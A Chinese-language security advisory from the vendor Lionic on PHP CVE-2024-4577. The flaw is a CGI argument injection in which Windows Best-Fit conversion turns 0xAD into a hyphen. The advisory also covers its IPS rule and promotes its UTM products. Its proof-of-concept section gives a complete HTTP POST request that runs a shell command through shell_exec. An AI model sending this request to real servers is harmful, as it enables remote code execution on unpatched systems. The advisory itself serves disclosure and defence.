Hsinchu, Taiwan – Jun 19, 2024 – 台灣知名的網路安全研究專家 蔡政達先生(Orange Tsai) 發現了一個嚴重的 PHP 漏洞 - CVE-2024-4577, 可能會危害亞洲許多 MS-Windows 系統, 特別是使用了繁體中文(代碼頁 950)、簡體中文(代碼頁 936)和日文(代碼頁 932)地區設定的 MS-Windows 系統, 如果 PHP 在這些環境中又剛好以CGI模式執行, 則可能允許遠端程式碼執行, 構成重大威脅。

PHP 團隊在 CVE-2024-4577 公佈之前迅速解決了這個漏洞並發布了新版本。 然而,許多組織尚未升級他們的 PHP 版本,導致他們的系統仍然易受漏洞利用。 網路犯罪分子已開發出利用 CVE-2024-4577 的自動化程式,並且在亞洲各國檢測到了未修補的 PHP 安裝。

如果要用PHP開發網頁程式,通常需要安裝網頁伺服器和PHP,並搭配資料庫程式。 然而,安裝和設定這些元件可能相當複雜。 這就是為什麼會有像 XAMPP 這樣方便的開源專案,它整合了 Apache 網頁伺服器、MariaDB、PHP 和 Perl。 只需一次安裝,這四個軟體專案就會安裝並設定好,可以立即使用。 XAMPP 在 MS-Windows 環境中非常受歡迎。 然而,XAMPP 預設的設定就能被 CVE-2024-4577 攻擊。 亞洲地區 MS-Windows 系統上的其他 PHP 也可能易受攻擊。 因此,這個漏洞的衝擊非常廣泛。

鴻璟科技(Lionic)現有的防入侵規則可以有效應對 CVE-2024-4577 漏洞,無需任何修改。 以下是鴻璟科技對 CVE-2024-4577 的監控狀況。

可以發現,在 CVE-2024-4577 公佈後,阻擋該漏洞的防入侵規則,觸發次數顯著增加。

Proof of Concept

之前,CVE-2012-1823 及其他幾個網路安全報告,揭發了 PHP 在 CGI 模式下使用不恰當選項的安全漏洞。

例如,PHP 命令行中的“-s”選項,會輸出原始碼。 在 CVE-2012-1823 之前,以下 URL 會顯示 “index.php” 的原始碼,而不是執行它:

http://www.example.com/index.php?-s

所以CVE-2012-1823安全漏洞被回報,同時PHP修改成 CGI 模式下,不接受連字符號“-”選項。

然而,由於 MS-Windows 使用 Best-Fit 方式將 Unicode 轉換為 ASCII, CVE-2024-4577 這份報告就是發現了一個安全漏洞,能傳遞連字符號“-”。 具體來說,連字符號“-”的 ASCII 值是 0x2D。 而 0xAD 被 MS-Windows 解釋為 0x2D。 但 PHP 舊版只知道拒絕 0x2D ,不知道 0xAD 也要拒絕。

這個漏洞,讓許多舊的入侵手法,透過0xAD ,又可以重新使用了。 例如,以下技巧使用 HTTP POST 請求,通過 PHP 來遠端執行常見的 MS-Windows 命令 “dir”:

POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("dir"); ?>

當然,“dir” 命令不會造成什麼傷害。可是網路犯罪份子可以輕易地將 “dir” 換成其它有害的命令。

Lionic Actions

Lionic 現有防入侵規則已能識別 CVE-2024-4577。 以下是與此漏洞相關的防入侵規則之部分列表。

Rule ID Description
8101535 PHP-CGI Query String Parameter Injection

 

Conclusion

對於使用其他地區設定的 MS-Windows 系統,例如英文、韓文和西歐語系等, 由於 PHP 的使用場合非常廣泛,無法確認這些地區就沒有 CVE-2024-4577 或其他安全漏洞。 為了確保最大程度的保護,無論是什麼地區,建議將 PHP 升級到最新版本是最安全的。

更新軟體到最新版本始終是修復漏洞的最佳方法。 然而,鴻璟科技提供了 Pico-UTM, Tera-UTMDual Ark-UTM 網路安全產品, 這些產品能“虛擬漏洞修復”。 使用這些網路安全產品,使用者可以在系統尚未修補完全時,仍能得到保護。

網路管理員必須認真對待網路安全,隨時關心其系統中有哪些漏洞。 如果網路管理員對於修補層出不窮的網路安全漏洞覺得麻煩, 可部署鴻璟科技的網路安全過濾器產品, 爭取時間修復漏洞並同時獲得即時的保護。

 

References:

  1. “Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability”, https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
  2. “CVE-2024-4577”, https://nvd.nist.gov/vuln/detail/CVE-2024-4577

 

關於鴻璟科技

鴻璟科技(Lionic)是一家全球性的創新深度封包檢測技術供應商,鴻璟科技的技術包括 深度封包檢測 (DPI, Deep Packet Inspection) 核心和基於該核心的應用軟體,這些應用包括 網路安全解決方案 ( 涵蓋 防電腦病毒、防駭客入侵 和 阻擋惡意網站 ) 及 內容管理解決方案 ( 涵蓋 應用識別、設備識別、智慧頻寬調整、網頁分類 和 家長管控 )。 鴻璟科技的網路安全和內容管理解決方案、雲端掃描服務 及 特徵碼訂閱服務 已廣泛部署於全球。